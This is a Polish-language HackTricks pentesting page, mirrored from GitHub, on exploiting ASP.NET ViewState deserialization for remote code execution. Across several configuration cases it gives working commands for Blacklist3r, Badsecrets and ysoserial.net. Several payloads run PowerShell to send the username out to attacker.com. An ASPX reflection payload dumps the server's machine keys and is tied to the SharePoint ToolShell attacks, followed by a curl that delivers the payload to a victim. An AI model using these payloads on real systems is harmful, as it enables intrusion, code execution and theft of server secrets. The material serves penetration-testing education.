mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
215 lines
16 KiB
Markdown
215 lines
16 KiB
Markdown
# Wykorzystywanie \_\_VIEWSTATE bez znajomości sekretów
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
|
||
|
||
## Czym jest ViewState
|
||
|
||
**ViewState** służy jako domyślny mechanizm w ASP.NET do utrzymywania danych strony i kontrolki pomiędzy stronami internetowymi. Podczas renderowania HTML strony, bieżący stan strony oraz wartości do zachowania podczas postbacku są serializowane do ciągów zakodowanych w base64. Te ciągi są następnie umieszczane w ukrytych polach ViewState.
|
||
|
||
Informacje o ViewState można scharakteryzować przez następujące właściwości lub ich kombinacje:
|
||
|
||
- **Base64**:
|
||
- Ten format jest wykorzystywany, gdy zarówno atrybuty `EnableViewStateMac`, jak i `ViewStateEncryptionMode` są ustawione na false.
|
||
- **Base64 + MAC (Kod uwierzytelniania wiadomości) włączony**:
|
||
- Aktywacja MAC osiągana jest przez ustawienie atrybutu `EnableViewStateMac` na true. Zapewnia to weryfikację integralności danych ViewState.
|
||
- **Base64 + Szyfrowane**:
|
||
- Szyfrowanie jest stosowane, gdy atrybut `ViewStateEncryptionMode` jest ustawiony na true, zapewniając poufność danych ViewState.
|
||
|
||
## Przypadki testowe
|
||
|
||
Obrazek to tabela szczegółowo opisująca różne konfiguracje dla ViewState w ASP.NET w zależności od wersji frameworka .NET. Oto podsumowanie treści:
|
||
|
||
1. Dla **dowolnej wersji .NET**, gdy zarówno MAC, jak i szyfrowanie są wyłączone, MachineKey nie jest wymagany, a zatem nie ma zastosowanej metody do jego identyfikacji.
|
||
2. Dla **wersji poniżej 4.5**, jeśli MAC jest włączony, ale szyfrowanie nie, wymagany jest MachineKey. Metoda identyfikacji MachineKey nazywa się "Blacklist3r."
|
||
3. Dla **wersji poniżej 4.5**, niezależnie od tego, czy MAC jest włączony, czy wyłączony, jeśli szyfrowanie jest włączone, wymagany jest MachineKey. Identyfikacja MachineKey to zadanie dla "Blacklist3r - Future Development."
|
||
4. Dla **wersji 4.5 i wyższych**, wszystkie kombinacje MAC i szyfrowania (czy to obie są true, czy jedna jest true, a druga false) wymagają MachineKey. MachineKey można zidentyfikować za pomocą "Blacklist3r."
|
||
|
||
### Przypadek testowy: 1 – EnableViewStateMac=false i viewStateEncryptionMode=false
|
||
|
||
Możliwe jest również całkowite wyłączenie ViewStateMAC, ustawiając klucz rejestru `AspNetEnforceViewStateMac` na zero w:
|
||
```
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
|
||
```
|
||
**Identyfikacja atrybutów ViewState**
|
||
|
||
Możesz spróbować zidentyfikować, czy ViewState jest chroniony przez MAC, przechwytując żądanie zawierające ten parametr za pomocą BurpSuite. Jeśli MAC nie jest używany do ochrony parametru, możesz go wykorzystać za pomocą [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
|
||
```
|
||
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
|
||
```
|
||
### Test case 1.5 – Jak Test case 1, ale ciasteczko ViewState nie jest wysyłane przez serwer
|
||
|
||
Programiści mogą **usunąć ViewState** z żądania HTTP (użytkownik nie otrzyma tego ciasteczka).\
|
||
Można założyć, że jeśli **ViewState** jest **nieobecny**, ich implementacja jest **bezpieczna** przed potencjalnymi lukami związanymi z deserializacją ViewState.\
|
||
Jednak nie jest to prawda. Jeśli **dodamy parametr ViewState** do ciała żądania i wyślemy nasz zserializowany ładunek stworzony za pomocą ysoserial, nadal będziemy w stanie osiągnąć **wykonanie kodu**, jak pokazano w **Przypadku 1**.
|
||
|
||
### Test Case: 2 – .Net < 4.5 i EnableViewStateMac=true & ViewStateEncryptionMode=false
|
||
|
||
Aby **włączyć ViewState MAC** dla **konkretnej strony**, musimy wprowadzić następujące zmiany w konkretnym pliku aspx:
|
||
```bash
|
||
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
|
||
```
|
||
Możemy to również zrobić dla **całej** aplikacji, ustawiając to w pliku **web.config**, jak pokazano poniżej:
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<configuration>
|
||
<system.web>
|
||
<customErrors mode="Off" />
|
||
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
|
||
<pages enableViewStateMac="true" />
|
||
</system.web>
|
||
</configuration>
|
||
```
|
||
Ponieważ parametr jest chroniony przez MAC, aby pomyślnie przeprowadzić atak, najpierw musimy zdobyć użyty klucz.
|
||
|
||
Możesz spróbować użyć [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper), aby znaleźć użyty klucz.
|
||
```
|
||
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
|
||
|
||
--encrypteddata : __VIEWSTATE parameter value of the target application
|
||
--modifier : __VIWESTATEGENERATOR parameter value
|
||
```
|
||
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) to kolejne narzędzie, które może zidentyfikować znane machineKeys. Jest napisane w Pythonie, więc w przeciwieństwie do Blacklist3r, nie ma zależności od Windows. Dla .NET viewstates istnieje narzędzie "python blacklist3r", które jest najszybszym sposobem na jego użycie.
|
||
|
||
Można je dostarczyć z viewstate i generatorem bezpośrednio:
|
||
```
|
||
pip install badsecrets
|
||
git clone https://github.com/blacklanternsecurity/badsecrets
|
||
cd badsecrets
|
||
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
|
||
```
|
||

|
||
|
||
Lub może połączyć się bezpośrednio z docelowym URL i spróbować wydobyć viewstate z HTML:
|
||
```
|
||
pip install badsecrets
|
||
git clone https://github.com/blacklanternsecurity/badsecrets
|
||
cd badsecrets
|
||
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
|
||
```
|
||

|
||
|
||
Aby wyszukiwać podatne viewstate'y na dużą skalę, w połączeniu z enumeracją subdomen, można użyć modułu `badsecrets` [**BBOT**](exploiting-__viewstate-parameter.md):
|
||
```
|
||
bbot -f subdomain-enum -m badsecrets -t evil.corp
|
||
```
|
||

|
||
|
||
Jeśli masz szczęście i klucz zostanie znaleziony, możesz kontynuować atak używając [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:**
|
||
```
|
||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||
|
||
--generator = {__VIWESTATEGENERATOR parameter value}
|
||
```
|
||
W przypadkach, gdy parametr `_VIEWSTATEGENERATOR` **nie jest wysyłany** przez serwer, **nie** musisz **podawać** parametru `--generator`, **ale te**:
|
||
```bash
|
||
--apppath="/" --path="/hello.aspx"
|
||
```
|
||
### Test Case: 3 – .Net < 4.5 i EnableViewStateMac=true/false oraz ViewStateEncryptionMode=true
|
||
|
||
W tym przypadku nie wiadomo, czy parametr jest chroniony za pomocą MAC. Wtedy wartość jest prawdopodobnie zaszyfrowana i **potrzebujesz klucza maszyny, aby zaszyfrować swój ładunek** w celu wykorzystania luki.
|
||
|
||
**W tym przypadku** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **moduł jest w trakcie rozwoju...**
|
||
|
||
**Przed .NET 4.5**, ASP.NET może **akceptować** **niezaszyfrowany** \_`__VIEWSTATE`\_ parametr od użytkowników **nawet** jeśli **`ViewStateEncryptionMode`** został ustawiony na _**Zawsze**_. ASP.NET **sprawdza tylko** **obecność** parametru **`__VIEWSTATEENCRYPTED`** w żądaniu. **Jeśli usuniemy ten parametr i wyślemy niezaszyfrowany ładunek, nadal zostanie on przetworzony.**
|
||
|
||
Dlatego jeśli atakujący znajdą sposób na uzyskanie klucza maszyny za pomocą innej luki, takiej jak przejście przez pliki, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) polecenie użyte w **Przypadku 2**, może być użyte do przeprowadzenia RCE przy użyciu luki deserializacji ViewState.
|
||
|
||
- Usuń parametr `__VIEWSTATEENCRYPTED` z żądania, aby wykorzystać lukę deserializacji ViewState, w przeciwnym razie zwróci błąd walidacji MAC Viewstate i exploit się nie powiedzie.
|
||
|
||
### Test Case: 4 – .Net >= 4.5 i EnableViewStateMac=true/false oraz ViewStateEncryptionMode=true/false z wyjątkiem obu atrybutów ustawionych na false
|
||
|
||
Możemy wymusić użycie frameworka ASP.NET, określając poniższy parametr w pliku web.config, jak pokazano poniżej.
|
||
```xml
|
||
<httpRuntime targetFramework="4.5" />
|
||
```
|
||
Alternatywnie, można to zrobić, określając poniższą opcję wewnątrz parametru `machineKey` w pliku web.config.
|
||
```bash
|
||
compatibilityMode="Framework45"
|
||
```
|
||
Jak w poprzednim przypadku **wartość jest szyfrowana.** Następnie, aby wysłać **ważny ładunek, atakujący potrzebuje klucza**.
|
||
|
||
Możesz spróbować użyć [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper), aby znaleźć używany klucz:
|
||
```
|
||
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
|
||
|
||
--encrypteddata = {__VIEWSTATE parameter value}
|
||
--IISDirPath = {Directory path of website in IIS}
|
||
--TargetPagePath = {Target page path in application}
|
||
```
|
||
Dla bardziej szczegółowego opisu dla IISDirPath i TargetPagePath [zobacz tutaj](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||
|
||
Lub, z [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (z wartością generatora):
|
||
```bash
|
||
cd badsecrets
|
||
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
|
||
```
|
||

|
||
|
||
Gdy zostanie zidentyfikowany ważny klucz maszyny, **następnym krokiem jest wygenerowanie zserializowanego ładunku przy użyciu** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
|
||
```
|
||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||
```
|
||
Jeśli masz wartość `__VIEWSTATEGENERATOR`, możesz spróbować **użyć** parametru `--generator` z tą wartością i **pominąć** parametry `--path` i `--apppath`.
|
||
|
||

|
||
|
||
Udane wykorzystanie podatności na deserializację ViewState doprowadzi do żądania out-of-band do serwera kontrolowanego przez atakującego, które zawiera nazwę użytkownika. Tego rodzaju exploit jest demonstrowany w dowodzie koncepcji (PoC), który można znaleźć w zasobie zatytułowanym "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Aby uzyskać dalsze szczegóły na temat tego, jak działa proces eksploatacji i jak wykorzystać narzędzia takie jak Blacklist3r do identyfikacji MachineKey, możesz zapoznać się z dostarczonym [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
|
||
|
||
### Test Case 6 – Używany jest ViewStateUserKeys
|
||
|
||
Właściwość **ViewStateUserKey** może być używana do **obrony** przed **atakiem CSRF**. Jeśli taki klucz został zdefiniowany w aplikacji i próbujemy wygenerować ładunek **ViewState** za pomocą metod omówionych do tej pory, **ładunek nie zostanie przetworzony przez aplikację**.\
|
||
Musisz użyć jeszcze jednego parametru, aby poprawnie stworzyć ładunek:
|
||
```bash
|
||
--viewstateuserkey="randomstringdefinedintheserver"
|
||
```
|
||
### Wynik udanej eksploitacji <a href="#poc" id="poc"></a>
|
||
|
||
Dla wszystkich przypadków testowych, jeśli ładunek ViewState YSoSerial.Net działa **pomyślnie**, serwer odpowiada “**500 Internal server error**” z treścią odpowiedzi “**Informacje o stanie są nieprawidłowe dla tej strony i mogą być uszkodzone**” i otrzymujemy żądanie OOB.
|
||
|
||
Sprawdź [dalsze informacje tutaj](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
|
||
|
||
### Zrzut kluczy maszyny ASP.NET za pomocą refleksji (SharPyShell/SharePoint ToolShell)
|
||
|
||
Atakujący, którzy są w stanie **przesłać lub wykonać dowolny kod ASPX** w katalogu głównym docelowej witryny, mogą bezpośrednio odzyskać tajne klucze, które chronią `__VIEWSTATE`, zamiast próbować je złamać.
|
||
Minimalny ładunek, który ujawnia klucze, wykorzystuje wewnętrzne klasy .NET za pomocą refleksji:
|
||
```csharp
|
||
<%@ Import Namespace="System.Web.Configuration" %>
|
||
<%@ Import Namespace="System.Reflection" %>
|
||
<script runat="server">
|
||
public void Page_Load(object sender, EventArgs e)
|
||
{
|
||
var asm = Assembly.Load("System.Web");
|
||
var sect = asm.GetType("System.Web.Configuration.MachineKeySection");
|
||
var m = sect.GetMethod("GetApplicationConfig", BindingFlags.Static | BindingFlags.NonPublic);
|
||
var cfg = (MachineKeySection)m.Invoke(null, null);
|
||
// Output: ValidationKey|DecryptionKey|Algorithm|CompatibilityMode
|
||
Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.CompatibilityMode}");
|
||
}
|
||
</script>
|
||
```
|
||
Żądanie strony zwraca **ValidationKey**, **DecryptionKey**, algorytm szyfrowania oraz tryb zgodności ASP.NET. Te wartości można teraz bezpośrednio wprowadzić do **ysoserial.net**, aby stworzyć ważny, podpisany gadżet `__VIEWSTATE`:
|
||
```bash
|
||
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
|
||
-c "powershell -nop -c \"whoami\"" \
|
||
--generator=<VIEWSTATE_GENERATOR> \
|
||
--validationkey=<VALIDATION_KEY> --validationalg=<VALIDATION_ALG> \
|
||
--decryptionkey=<DECRYPTION_KEY> --decryptionalg=<DECRYPTION_ALG> \
|
||
--islegacy --minify
|
||
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
|
||
```
|
||
Ten **prymityw eksfiltracji kluczy** był masowo wykorzystywany przeciwko lokalnym serwerom SharePoint w 2025 roku ("ToolShell" – CVE-2025-53770/53771), ale ma zastosowanie w każdej aplikacji ASP.NET, w której atakujący może uruchomić kod po stronie serwera.
|
||
|
||
## References
|
||
|
||
- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
|
||
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
|
||
- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||
- [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
|
||
- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
|
||
|
||
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|